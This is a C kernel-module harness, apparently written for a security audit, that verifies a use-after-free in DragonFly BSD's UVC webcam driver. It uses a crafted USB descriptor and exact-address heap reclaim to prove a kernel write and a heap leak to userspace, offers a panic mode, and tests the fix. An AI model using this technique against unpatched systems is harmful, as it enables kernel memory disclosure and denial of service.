DF-5378 / uvcharness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 | /* * uvcharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_ctrls.c * * DF-5378: use-after-free of the whole UVC control graph in * uvc_query_v4l2_ctrl()/uvc_query_v4l2_menu(). * * Production detach order (uvc_drv.c:2493-2518): * uvc_drv_destroy_video(sc->video); 2503 (does NOT touch cdev) * uvc_drv_destroy_data(sc->data); 2506 * uvc_drv_destroy_ctrl(sc->ctrl); 2507 <- frees menus, * sub_infos[], uvc_data, * controls[], topo_nodes, * node_info, controls_mask * and sc->ctrl itself, * with NO lock held * uvc_v4l2_unreg(sc->video); 2511 <- destroy_dev() happens * only HERE * * /dev/videoN is created 0666 (uvc_v4l2.c:783-785). An unprivileged user * holding it open can be inside VIDIOC_QUERYCTRL -> uvc_query_v4l2_ctrl() * (uvc_ctrls.c:1102) when a device disconnect (unplug; an evil webcam can * disconnect itself on demand) runs that sequence. The ioctl then: * - takes video->ctrl->mtx on freed memory (uvc_ctrls.c:1107) * - walks the freed topo_nodes STAILQ (uvc_ctrls.c:1090) * - WRITES ctrl->info.cached_sub_info_idx = j (uvc_ctrls.c:1065) * -> 1-byte write into a freed (reclaimable) chunk * - strlcpy()s sub_info->v4l2_name into the user-visible query->name * (uvc_ctrls.c:1001,1150) * -> discloses up to 31 bytes of reclaimed kernel heap to userspace * * The harness #includes the REAL driver sources (registration neutered), * builds a real control graph with the production parse+init code, runs the * production query, then runs the production free path and reclaims the freed * chunks at their exact addresses (what a heap-grooming attacker does in the * race window that the production detach ordering guarantees). * * mode 1 (at MOD_LOAD): controlled reclaim - proves the UAF WRITE and the * heap DISCLOSURE through 100% production code paths. * mode 2 (sysctl=2): uncontrolled - freed ctrl chunk poisoned -> wild * pointer walk -> kernel panic (raw UAF severity). * mode 3 (sysctl=3): fixed-detach simulation (run on the fix.diff build): * video->ctrl NULLed under its lock before destroy -> * patched uvc_query_v4l2_ctrl() must return ENODEV * instead of touching freed memory. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/bus.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/lock.h> /* DragonFly kernel has no <stddef.h>; use the compiler builtin */ #ifndef offsetof #define offsetof(t, m) __builtin_offsetof(t, m) #endif /* Neuter driver registration; we want the control-path code only. */ #undef DRIVER_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, drv, dc, evh, arg) #define MODULE_DEPEND(name, mod, min, pref, max) #define MODULE_VERSION(mod, ver) /* The real driver code, verbatim */ #include "uvc_buf.c" #include "uvc_ctrls.c" #include "uvc_v4l2.c" #include "uvc_drv.c" /* keep the (now unregistered) driver objects referenced */ static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass }; static struct usb_device fake_udev; static struct usb_interface fake_ifaces[2]; static uint8_t fake_devt[512]; #define BLOB_LEN 64 /* * VideoControl-only evil descriptor blob: * [0..8] config descriptor (wTotalLength = BLOB_LEN) * [9..17] interface #0: VIDEO class, subclass CONTROL (1) * [18..30] CS VC_HEADER, bLength=13, bIfaceNums=0 (no streaming ifaces; * uvc_drv_parse_ctrl() still returns 0 - see DF-5306) * [31..47] CS INPUT_TERMINAL, camera (wTerminalType=0x0201), bLength=17, * bControlSize=2, bmControls={0x02,0x08} * -> bit 1 (UVC_CT_AE_MODE_CONTROL): * 1 control, 1 sub-info (V4L2_CID_EXPOSURE_AUTO, MENU type, * menus[0] = exposure_mode_menu, 4 items) and byte_size=1 * (uvc_data = 1*6+1 = 7 bytes) * -> bit 11 (UVC_CT_PANTILT_ABSOLUTE_CONTROL): * 1 control, 2 sub-infos (PAN_ABSOLUTE + TILT_ABSOLUTE), * info.byte_size=8, no menus, uvc_data = 8*6+1 = 49 bytes. */ static void build_blob(uint8_t *b) { uint8_t *p; memset(b, 0x00, BLOB_LEN); /* configuration descriptor */ p = b; p[0] = 9; p[1] = 2; p[2] = BLOB_LEN & 0xff; p[3] = (BLOB_LEN >> 8) & 0xff; p[4] = 1; /* bNumInterface */ p[5] = 1; /* bConfigurationValue */ p[7] = 0x80; p[8] = 250; /* interface #0: VIDEO/CONTROL */ p = b + 9; p[0] = 9; p[1] = 4; p[2] = 0; p[3] = 0; p[4] = 0; p[5] = 0x0E; p[6] = 0x01; p[7] = 0; p[8] = 0; /* CS VC_HEADER */ p = b + 18; p[0] = 13; p[1] = 0x24; p[2] = 0x01; /* UDESCSUB_VC_HEADER */ p[3] = 0x10; p[4] = 0x01; /* wRevision = 0x0110 */ p[5] = 13; p[6] = 0; /* wTotalLen */ p[7] = 0x00; p[8] = 0x36; p[9] = 0xEE; p[10] = 0x00; p[11] = 0; /* bIfaceNums = 0 */ p[12] = 0; /* bIfaceList[0] unused */ /* CS INPUT_TERMINAL - camera terminal with bits 1 and 11 */ p = b + 31; p[0] = 17; p[1] = 0x24; p[2] = 0x02; /* UDESCSUB_VC_INPUT_TERMINAL */ p[3] = 0x07; /* bTerminalID */ p[4] = 0x01; p[5] = 0x02; /* wTerminalType = 0x0201 camera */ p[6] = 0; /* bAssocTerminal */ p[7] = 0; /* bITerminal */ p[8] = 0; p[9] = 0; /* wObjectiveFocalLengthMin */ p[10] = 0; p[11] = 0; /* wObjectiveFocalLengthMax */ p[12] = 0; p[13] = 0; /* wOcularFocalLength */ p[14] = 2; /* bControlSize = 2 */ p[15] = 0x02; /* bmControls[0]: bit 1 */ p[16] = 0x08; /* bmControls[1]: bit 11 */ } static void setup_fake(uint8_t *blob) { memset(&fake_udev, 0, sizeof(fake_udev)); fake_udev.cdesc = (struct usb_config_descriptor *)blob; fake_udev.ifaces = fake_ifaces; fake_udev.ifaces_max = 2; memset(fake_ifaces, 0, sizeof(fake_ifaces)); fake_ifaces[0].idesc = (struct usb_interface_descriptor *)(blob + 9); } /* * Build the production control graph: parse the blob, then run the real * uvc_ctrl_init_dev() (the control-discovery walk of the file under audit). */ static struct uvc_drv_ctrl * build_graph(uint8_t *blob, struct uvc_softc *sc, struct uvc_drv_video *video) { struct uvc_drv_ctrl *ctrl; struct uvc_topo_node *node; int ret; build_blob(blob); setup_fake(blob); memset(sc, 0, sizeof(*sc)); sc->udev = &fake_udev; sc->dev = (device_t)(void *)fake_devt; ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0); ret = uvc_drv_parse_ctrl(sc, ctrl); if (ret != 0 || ctrl == NULL) { kprintf("HARNESS: graph build failed ret=%d\n", ret); return NULL; } ret = uvc_ctrl_init_dev(sc, ctrl); if (ret != 0) { kprintf("HARNESS: uvc_ctrl_init_dev ret=%d\n", ret); return NULL; } memset(video, 0, sizeof(*video)); video->ctrl = ctrl; node = STAILQ_FIRST(&ctrl->topo_nodes); kprintf("HARNESS: graph: ctrl=%p node=%p controls=%p controls_num=%u " "ctrl0(AE)=%p sub=%p menu=%p | ctrl1(PT)=%p sub0=%p sub1=%p\n", ctrl, node, node->controls, node->controls_num, &node->controls[0], node->controls[0].info.sub_infos[0], node->controls[0].info.menus[0].menu_data, &node->controls[1], node->controls[1].info.sub_infos[0], node->controls[1].info.sub_infos[1]); return ctrl; } /* extra chunks taken during reclaim probing, freed at unload */ static void *leakkeep[512]; static int leakkeep_n = 0; /* * Reclaim a freed chunk at an exact address: allocate same-size M_UVC chunks * until one lands on `want' (DragonFly per-type/size zones are LIFO on the * same CPU, so this converges in 1-2 iterations in practice). */ static void * reclaim_exact(size_t size, void *want) { void *p; int i; for (i = 0; i < 64; i++) { p = kmalloc(size, M_UVC, M_WAITOK); if (p == want) return p; if (leakkeep_n < (int)nitems(leakkeep)) leakkeep[leakkeep_n++] = p; } return NULL; } static void hexdump32(const char *tag, const void *v) { const uint8_t *b = v; int i; kprintf("%s:", tag); for (i = 0; i < 32; i++) kprintf("%s%02x", (i % 16) ? " " : "\n ", b[i]); kprintf("\n"); } /* snapshot bookkeeping for the chunks the production free path releases */ struct snapchunk { void *addr; size_t size; uint8_t buf[512]; void *reclaimed; }; static struct snapchunk snaps[16]; static int nsnaps; static void snap_add(void *addr, size_t size) { struct snapchunk *s; if (addr == NULL || size == 0 || size > sizeof(s->buf) || nsnaps >= (int)nitems(snaps)) return; s = &snaps[nsnaps++]; s->addr = addr; s->size = size; memcpy(s->buf, addr, size); s->reclaimed = NULL; } static int snap_reclaim_all(void) { int i, ok = 1; /* reverse order of the production frees (LIFO zones) */ for (i = nsnaps - 1; i >= 0; i--) { snaps[i].reclaimed = reclaim_exact(snaps[i].size, snaps[i].addr); if (snaps[i].reclaimed == NULL) { kprintf("HARNESS DF-5378: reclaim FAILED for chunk %p " "(size %zu)\n", snaps[i].addr, snaps[i].size); ok = 0; } } return ok; } static void snap_restore_all(void) { int i; for (i = 0; i < nsnaps; i++) { if (snaps[i].reclaimed == NULL) continue; memcpy(snaps[i].reclaimed, snaps[i].buf, snaps[i].size); } } static void snap_free_all(void) { int i; for (i = 0; i < nsnaps; i++) { if (snaps[i].reclaimed == NULL) continue; kfree(snaps[i].reclaimed, M_UVC); snaps[i].reclaimed = NULL; } nsnaps = 0; } /* * MODE 1 - controlled reclaim: prove the UAF write + heap disclosure. */ static void run_controlled(void) { static uint8_t blob[BLOB_LEN]; struct uvc_softc sc; struct uvc_drv_video video; struct uvc_drv_ctrl *ctrl; struct uvc_topo_node *node; struct uvc_control *ct_ae, *ct_pt; struct v4l2_queryctrl q; struct v4l2_querymenu qm; size_t off_cached, off_name; uint8_t *cachedp, *namep; int ret, i; off_cached = offsetof(struct uvc_control, info) + offsetof(struct uvc_ctrl_info, cached_sub_info_idx); off_name = offsetof(struct uvc_ctrl_sub_info, v4l2_name); ctrl = build_graph(blob, &sc, &video); if (ctrl == NULL) return; node = STAILQ_FIRST(&ctrl->topo_nodes); ct_ae = &node->controls[0]; /* AE_MODE */ ct_pt = &node->controls[1]; /* PANTILT_ABSOLUTE */ /* ---- sanity: production queries work on the live graph ---- */ memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); kprintf("HARNESS DF-5378[baseline]: ret=%d name=<%s> " "(expect 0 / 'Tilt (Absolute)')\n", ret, q.name); if (ret != 0 || strcmp((char *)q.name, "Tilt (Absolute)") != 0) { kprintf("HARNESS DF-5378: baseline mismatch, abort\n"); return; } /* ---- snapshot every chunk the production free path releases ---- * Order = the exact production free sequence inside * uvc_drv_destroy_ctrl() (uvc_drv.c:2453-2474): * per control: destroy_mappings frees sub_infos[0..4], then * menus[0..4], then kfree(ctrl->uvc_data); after the loop, * uvc_free_topo_node() frees controls_mask, node_info, controls, * topo_node; finally kfree(c). The reverse iteration used for * reclaiming is then the exact LIFO allocation order. */ nsnaps = 0; snap_add(ct_ae->info.sub_infos[0], sizeof(struct uvc_ctrl_sub_info)); snap_add(ct_ae->info.menus[0].menu_data, ct_ae->info.menus[0].item_num * sizeof(struct uvc_ctrl_menu_item)); snap_add(ct_ae->uvc_data, ct_ae->info.byte_size * UVC_CTRL_DATA_LAST + 1); snap_add(ct_pt->info.sub_infos[0], sizeof(struct uvc_ctrl_sub_info)); snap_add(ct_pt->info.sub_infos[1], sizeof(struct uvc_ctrl_sub_info)); snap_add(ct_pt->uvc_data, ct_pt->info.byte_size * UVC_CTRL_DATA_LAST + 1); snap_add(node->controls_mask, ((struct uvc_ct_node_info *)node->node_info)->bControlSize); snap_add(node->node_info, sizeof(struct uvc_ct_node_info)); snap_add(node->controls, node->controls_num * sizeof(*ct_ae)); snap_add(node, sizeof(*node)); snap_add(ctrl, sizeof(*ctrl)); kprintf("HARNESS DF-5378: snapshotted %d chunks in production free " "order (sub_AE, menu, uvcdata_AE, subP0, subP1, uvcdata_PT, mask, " "node_info, controls[2], node, ctrl)\n", nsnaps); /* ---- production detach free path: uvc_drv_destroy_ctrl() ---- * (uvc_drv.c:2507 -> 2453-2474: frees menus, sub_infos, uvc_data, * controls[], topo_node, node_info, controls_mask and the * uvc_drv_ctrl itself; takes NO lock, runs BEFORE destroy_dev() * at uvc_drv.c:2511) */ uvc_drv_destroy_ctrl(ctrl); kprintf("HARNESS DF-5378: production uvc_drv_destroy_ctrl() done - " "graph freed, video->ctrl=%p now DANGLING (cdev not yet destroyed)\n", video.ctrl); /* ---- attacker reclaims every chunk at the same addresses ---- */ if (!snap_reclaim_all()) { kprintf("HARNESS DF-5378: reclaim incomplete, abort\n"); snap_free_all(); return; } kprintf("HARNESS DF-5378: all %d freed chunks reclaimed at their " "original addresses\n", nsnaps); snap_restore_all(); /* attacker deltas on the reclaimed (freed) memory: */ /* delta 1 (leak): pantilt sub_infos[1]->v4l2_name = marker 0x5A */ namep = (uint8_t *)ct_pt->info.sub_infos[1] + off_name; memset(namep, 0x5A, 32); /* delta 2 (leak, QUERYMENU path): AE sub_info->v4l2_name = 0x5B */ namep = (uint8_t *)ct_ae->info.sub_infos[0] + off_name; memset(namep, 0x5B, 32); /* delta 3 (write): preset pantilt cached_sub_info_idx = 0xAA */ cachedp = (uint8_t *)ct_pt + off_cached; *cachedp = 0xAA; kprintf("HARNESS DF-5378: poisoned reclaimed chunks: " "PT.sub1->v4l2_name=0x5A*32, AE.sub->v4l2_name=0x5B*32, " "controls[1].cached_sub_info_idx=0xAA (offset %zu)\n", off_cached); /* ---- the racing VIDIOC_QUERYCTRL, verbatim production path ---- */ memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); kprintf("HARNESS DF-5378[UAF query]: ret=%d name_len=%zu\n", ret, strlen((char *)q.name)); hexdump32("HARNESS q.name (user-visible via VIDIOC_QUERYCTRL)", q.name); if (ret == 0 && (uint8_t)q.name[0] == 0x5A && q.name[31] == 0) { kprintf("HARNESS DF-5378: *** UAF READ/LEAK CONFIRMED: 31 bytes " "of attacker-marked FREED-chunk content copied into the " "user-visible queryctrl.name ***\n"); } if (*cachedp == 0x01) { kprintf("HARNESS DF-5378: *** UAF WRITE CONFIRMED: " "uvc_ctrls.c:1065 wrote cached_sub_info_idx=1 into the " "freed-and-reclaimed controls[1] chunk (was 0xAA) ***\n"); } else { kprintf("HARNESS DF-5378: write byte now 0x%02x (want 0x01)\n", *cachedp); } /* same lifetime bug via VIDIOC_QUERYMENU (strlcpy at uvc_ctrls.c:1150): * AE_MODE is MENU-typed so menus[0].menu_data != NULL and the strlcpy * from sub_infos[0]->v4l2_name is reached */ memset(&qm, 0, sizeof(qm)); qm.id = V4L2_CID_EXPOSURE_AUTO; qm.index = 0; ret = uvc_query_v4l2_menu(&video, &qm); kprintf("HARNESS DF-5378[UAF menu]: ret=%d\n", ret); hexdump32("HARNESS qm.name (user-visible via VIDIOC_QUERYMENU)", qm.name); if (ret == 0 && (uint8_t)qm.name[0] == 0x5B) kprintf("HARNESS DF-5378: *** QUERYMENU disclosure confirmed " "(strlcpy from freed sub_info at uvc_ctrls.c:1150) ***\n"); /* leak_sample lines for the evidence pack */ kprintf("HARNESS LEAKSAMPLE-QUERYCTRL "); for (i = 0; i < 32; i++) kprintf("%02x", (uint8_t)q.name[i]); kprintf("\nHARNESS LEAKSAMPLE-QUERYMENU "); for (i = 0; i < 32; i++) kprintf("%02x", (uint8_t)qm.name[i]); kprintf("\n"); /* tidy: release the reclaimed chunks, guest must stay up */ snap_free_all(); kprintf("HARNESS DF-5378: mode 1 done, guest should stay up\n"); } /* * MODE 2 - uncontrolled: freed ctrl chunk poisoned -> wild walk -> panic. */ static void run_wild(void) { static uint8_t blob[BLOB_LEN]; struct uvc_softc sc; struct uvc_drv_video video; struct uvc_drv_ctrl *ctrl, *rc; struct v4l2_queryctrl q; int ret; ctrl = build_graph(blob, &sc, &video); if (ctrl == NULL) return; memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); kprintf("HARNESS DF-5378[wild baseline]: ret=%d name=<%s>\n", ret, q.name); uvc_drv_destroy_ctrl(ctrl); /* production free path */ /* reclaim ONLY the uvc_drv_ctrl chunk (MRU in its zone) and poison it: * 0x5A everywhere except a zeroed struct lock so the production * UVC_LOCK(&video->ctrl->mtx) at uvc_ctrls.c:1107 succeeds and the * walk reaches topo_nodes.stqh_first = 0x5a5a5a5a5a5a5a5a. */ rc = reclaim_exact(sizeof(*ctrl), ctrl); if (rc == NULL) { kprintf("HARNESS DF-5378[wild]: ctrl chunk not reclaimed, abort\n"); return; } memset(rc, 0x5A, sizeof(*ctrl)); memset((uint8_t *)rc + offsetof(struct uvc_drv_ctrl, mtx), 0, sizeof(struct lock)); kprintf("HARNESS DF-5378[wild]: ctrl chunk poisoned; expect fatal trap " "reading ~0x5a5a5a5a5a5a5a5a+%zu (topo_node->controls_num) inside " "uvc_search_control_sub()\n", offsetof(struct uvc_topo_node, controls_num)); memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); /* wild walk on freed graph */ kprintf("HARNESS DF-5378[wild]: returned %d (UNEXPECTED - no panic)\n", ret); } /* * MODE 3 - fixed-detach simulation (run on the fix.diff build): * replicate fixed uvc_drv_detach(): NULL video->ctrl under its lock BEFORE * uvc_drv_destroy_ctrl(); the patched uvc_query_v4l2_ctrl() must bail with * ENODEV instead of walking freed memory. */ static void run_fixeddetach(void) { static uint8_t blob[BLOB_LEN]; struct uvc_softc sc; struct uvc_drv_video video; struct uvc_drv_ctrl *ctrl; struct v4l2_queryctrl q; int ret; ctrl = build_graph(blob, &sc, &video); if (ctrl == NULL) return; memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); kprintf("HARNESS DF-5378[fix baseline]: ret=%d name=<%s>\n", ret, q.name); /* fixed detach sequence: quiesce the query paths first. * (mirrors fix.diff's uvc_drv_detach(): NULL video->ctrl under the * ctrl lock, unlocking via the saved sc->ctrl pointer) */ { struct uvc_drv_ctrl *c = video.ctrl; UVC_LOCK(&c->mtx); video.ctrl = NULL; UVC_UNLOCK(&c->mtx); } uvc_drv_destroy_ctrl(ctrl); memset(&q, 0, sizeof(q)); q.id = V4L2_CID_TILT_ABSOLUTE; ret = uvc_query_v4l2_ctrl(&video, &q); kprintf("HARNESS DF-5378[fix post-detach]: query ret=%d " "(want ENODEV=%d, NO freed-memory access, guest up)\n", ret, ENODEV); } static int harness_mode = 0; static int sysctl_harness(SYSCTL_HANDLER_ARGS) { int error, m = harness_mode; error = SYSCTL_OUT(req, &m, sizeof(m)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &m, sizeof(m)); if (error != 0) return (error); if (m == 2) run_wild(); else if (m == 3) run_fixeddetach(); harness_mode = m; return (0); } SYSCTL_PROC(_hw, OID_AUTO, uvcharness, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_harness, "I", "uvc ctrls verification harness trigger"); static int uvcharness_handler(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("HARNESS: loaded (real uvc sources compiled in)\n"); run_controlled(); return (0); case MOD_UNLOAD: while (leakkeep_n > 0) kfree(leakkeep[--leakkeep_n], M_UVC); kprintf("HARNESS: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t uvcharness_mod = { "uvcharness", uvcharness_handler, NULL }; DECLARE_MODULE(uvcharness, uvcharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |